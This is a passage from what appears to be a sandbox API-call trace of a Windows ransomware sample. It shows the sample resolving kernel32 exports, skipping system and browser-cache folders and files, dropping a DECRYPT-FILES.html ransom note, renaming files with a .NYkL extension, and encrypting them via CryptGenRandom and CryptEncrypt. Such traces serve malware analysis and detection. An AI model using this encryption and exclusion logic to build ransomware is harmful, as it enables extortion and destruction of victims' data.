(lpString="CREATEIOCOMPLETIONPORT") returned 22 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0122.099] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0122.099] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0122.099] lstrlenA (lpString="CREATEJOBSET") returned 12 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0122.099] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0122.099] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0122.099] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0122.099] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0122.099] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0122.099] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0122.099] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0122.099] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0122.099] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0122.100] lstrlenA (lpString="CREATEPIPE") returned 10 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0122.100] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0122.100] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0122.100] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0122.100] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0122.100] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0122.100] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0122.100] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0122.100] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0122.100] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0122.100] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0122.100] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0122.100] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0122.100] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0122.100] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0122.100] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0122.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0122.101] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0122.101] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0122.101] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0122.101] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0122.101] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0122.101] lstrlenA (lpString="CREATETHREAD") returned 12 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0122.101] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0122.101] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0122.101] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0122.101] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0122.101] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0122.101] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0122.101] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0122.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0122.102] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.NYkL") returned 50 [0122.102] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.NYkL" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.nykl"), dwFlags=0x0) returned 1 [0122.103] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.103] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.103] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.104] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0122.104] FindClose (in: hFindFile=0x3b81480 | out: hFindFile=0x3b81480) returned 1 [0122.104] CloseHandle (hObject=0x528) returned 1 [0122.104] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0122.104] lstrcmpW (lpString1="1036", lpString2=".") returned 1 [0122.104] lstrcmpW (lpString1="1036", lpString2="..") returned 1 [0122.104] lstrcatW (in: lpString1="1036", lpString2="\\" | out: lpString1="1036\\") returned="1036\\" [0122.104] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1036\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0122.104] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch=":\\Windows") returned 0x0 [0122.104] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\Program Files") returned 0x0 [0122.104] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\Games\\") returned 0x0 [0122.104] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\Tor Browser\\") returned 0x0 [0122.104] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\ProgramData\\") returned 0x0 [0122.105] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0122.105] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0122.105] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0122.105] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1036\\", lpSrch="\\All Users") returned 0x0 [0122.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.105] lstrlenW (lpString="eogwkz.dat") returned 10 [0122.105] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\\\eogwkz.dat") returned 38 [0122.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1036\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0122.106] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.106] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0122.106] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\\\DECRYPT-FILES.html") returned 46 [0122.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1036\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0122.107] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0122.108] CloseHandle (hObject=0x470) returned 1 [0122.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.109] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1036\\*") returned="C:\\588bce7c90097ed212\\1036\\*" [0122.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4f078fef, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80e80 [0122.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0122.109] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4f078fef, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0122.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0122.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0122.109] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f078fef, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4f078fef, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4f078fef, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0122.109] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0122.109] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f078fef, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4f078fef, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4f078fef, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0122.109] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0122.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.109] lstrlenW (lpString="eogwkz.dat") returned 10 [0122.109] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1036\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0122.109] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1036\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1036\\eogwkz.dat" [0122.109] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.110] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1036\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.110] CloseHandle (hObject=0x0) returned 0 [0122.110] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.111] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0122.111] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0122.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.111] lstrlenW (lpString="eula.rtf") returned 8 [0122.111] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1036\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0122.111] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf" [0122.111] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.111] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0122.112] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3526) returned 1 [0122.112] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0122.112] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0122.231] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0122.232] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0122.232] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.232] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0122.232] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0122.233] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.233] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0122.233] CloseHandle (hObject=0x5f8) returned 1 [0122.233] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.233] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0122.234] CloseHandle (hObject=0x0) returned 0 [0122.234] CloseHandle (hObject=0x5f4) returned 1 [0122.235] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.235] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.236] GetTickCount () returned 0x33faa [0122.236] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.236] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0122.236] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0122.236] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.237] lstrlenA (lpString="kernel32.dll") returned 12 [0122.237] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0122.237] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0122.237] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0122.237] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0122.237] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0122.237] lstrlenA (lpString="ADDATOMA") returned 8 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0122.237] lstrlenA (lpString="ADDATOMW") returned 8 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0122.237] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0122.237] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0122.237] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0122.238] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0122.238] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0122.238] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0122.238] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0122.238] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0122.238] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0122.238] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0122.238] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 